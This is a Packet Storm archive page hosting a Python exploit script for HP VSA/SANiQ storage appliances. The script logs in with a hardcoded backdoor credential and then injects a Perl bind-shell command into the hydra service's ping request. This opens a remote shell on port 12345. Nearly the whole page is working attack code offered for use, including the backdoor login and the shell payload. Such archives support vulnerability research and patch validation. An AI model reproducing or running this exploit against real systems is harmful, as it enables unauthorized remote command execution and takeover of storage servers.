what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

HP VSA Command Execution

HP VSA Command Execution
Posted May 18, 2012
Authored by Nicolas Gregoire

HP VSA remote command execution exploit.

tags | exploit, remote
SHA-256 | e2634c82bf61b7660279ef87efb9959dc4f17ce4f09dbbb9b22dc962a374b58e

HP VSA Command Execution

Change Mirror Download
#!/usr/bin/python

''' ==================================
Pseudo documentation
================================== '''

# HP VSA / SANiQ Hydra client
# Nicolas Grégoire <nicolas.gregoire@agarri.fr>
# v0.5

''' ==================================
Target information
================================== '''

HOST = '192.168.201.11' # The remote host
PORT = 13838 # The hydra port

''' ==================================
Imports
================================== '''

import getopt
import re
import sys
import binascii
import struct
import socket
import os

''' ==================================
Define functions
================================== '''

# Some nice formatting
def zprint(str):
print '[=] ' + str

# Define packets
def send_Exec():
zprint('Send Exec')

# RESTRICTIONS
# You can't use "/" in the payload
# No Netcat/Ruby/PHP, but telnet/bash/perl are available

# METASPLOIT PAYLOAD
cmd = "perl -MIO -e '$p=fork();exit,if$p;$c=new IO::Socket::INET(LocalPort,12345,Reuse,1,Listen)->accept;$~->fdopen($c,w);STDIN->fdopen($c,r);system$_ while<>'"

# COMMAND INJECTION BUG
data = 'get:/lhn/public/network/ping/127.0.0.1/foobar;' + cmd + '/'

# EXPLOIT
zprint('Now connect to port 12345 of machine ' + str(HOST))
send_packet(data)

def send_Login():
zprint('Send Login')
data = 'login:/global$agent/L0CAlu53R/Version "8.5.0"' # Backdoor
send_packet(data)

# Define the sending function
def send_packet(message):

# Add header
ukn1 = '\x00\x00\x00\x00\x00\x00\x00\x01'
ukn2 = '\x00\x00\x00\x00' + '\x00\x00\x00\x00\x00\x00\x00\x00' + '\x00\x00\x00\x14\xff\xff\xff\xff'
message = message + '\x00'
data = ukn1 + struct.pack('!I', len(message)) + ukn2 + message

# Send & receive
s.send(data)
data = s.recv(1024)
zprint('Received : [' + data + ']')

''' ==================================
Main code
================================== '''

# Print bannner
zprint('HP Hydra client')
zprint('Attacking host ' + HOST + ' on port ' + str(PORT))

# Connect
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(30)
s.connect((HOST, PORT))

# Attack !
send_Login()
send_Exec()

# Deconnect
s.close

# Exit
zprint('Exit')


Login or Register to add favorites

File Archive:

July 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Jul 1st
    27 Files
  • 2
    Jul 2nd
    10 Files
  • 3
    Jul 3rd
    35 Files
  • 4
    Jul 4th
    27 Files
  • 5
    Jul 5th
    18 Files
  • 6
    Jul 6th
    0 Files
  • 7
    Jul 7th
    0 Files
  • 8
    Jul 8th
    28 Files
  • 9
    Jul 9th
    44 Files
  • 10
    Jul 10th
    24 Files
  • 11
    Jul 11th
    25 Files
  • 12
    Jul 12th
    11 Files
  • 13
    Jul 13th
    0 Files
  • 14
    Jul 14th
    0 Files
  • 15
    Jul 15th
    28 Files
  • 16
    Jul 16th
    6 Files
  • 17
    Jul 17th
    34 Files
  • 18
    Jul 18th
    6 Files
  • 19
    Jul 19th
    34 Files
  • 20
    Jul 20th
    0 Files
  • 21
    Jul 21st
    0 Files
  • 22
    Jul 22nd
    19 Files
  • 23
    Jul 23rd
    17 Files
  • 24
    Jul 24th
    47 Files
  • 25
    Jul 25th
    31 Files
  • 26
    Jul 26th
    13 Files
  • 27
    Jul 27th
    0 Files
  • 28
    Jul 28th
    0 Files
  • 29
    Jul 29th
    27 Files
  • 30
    Jul 30th
    49 Files
  • 31
    Jul 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close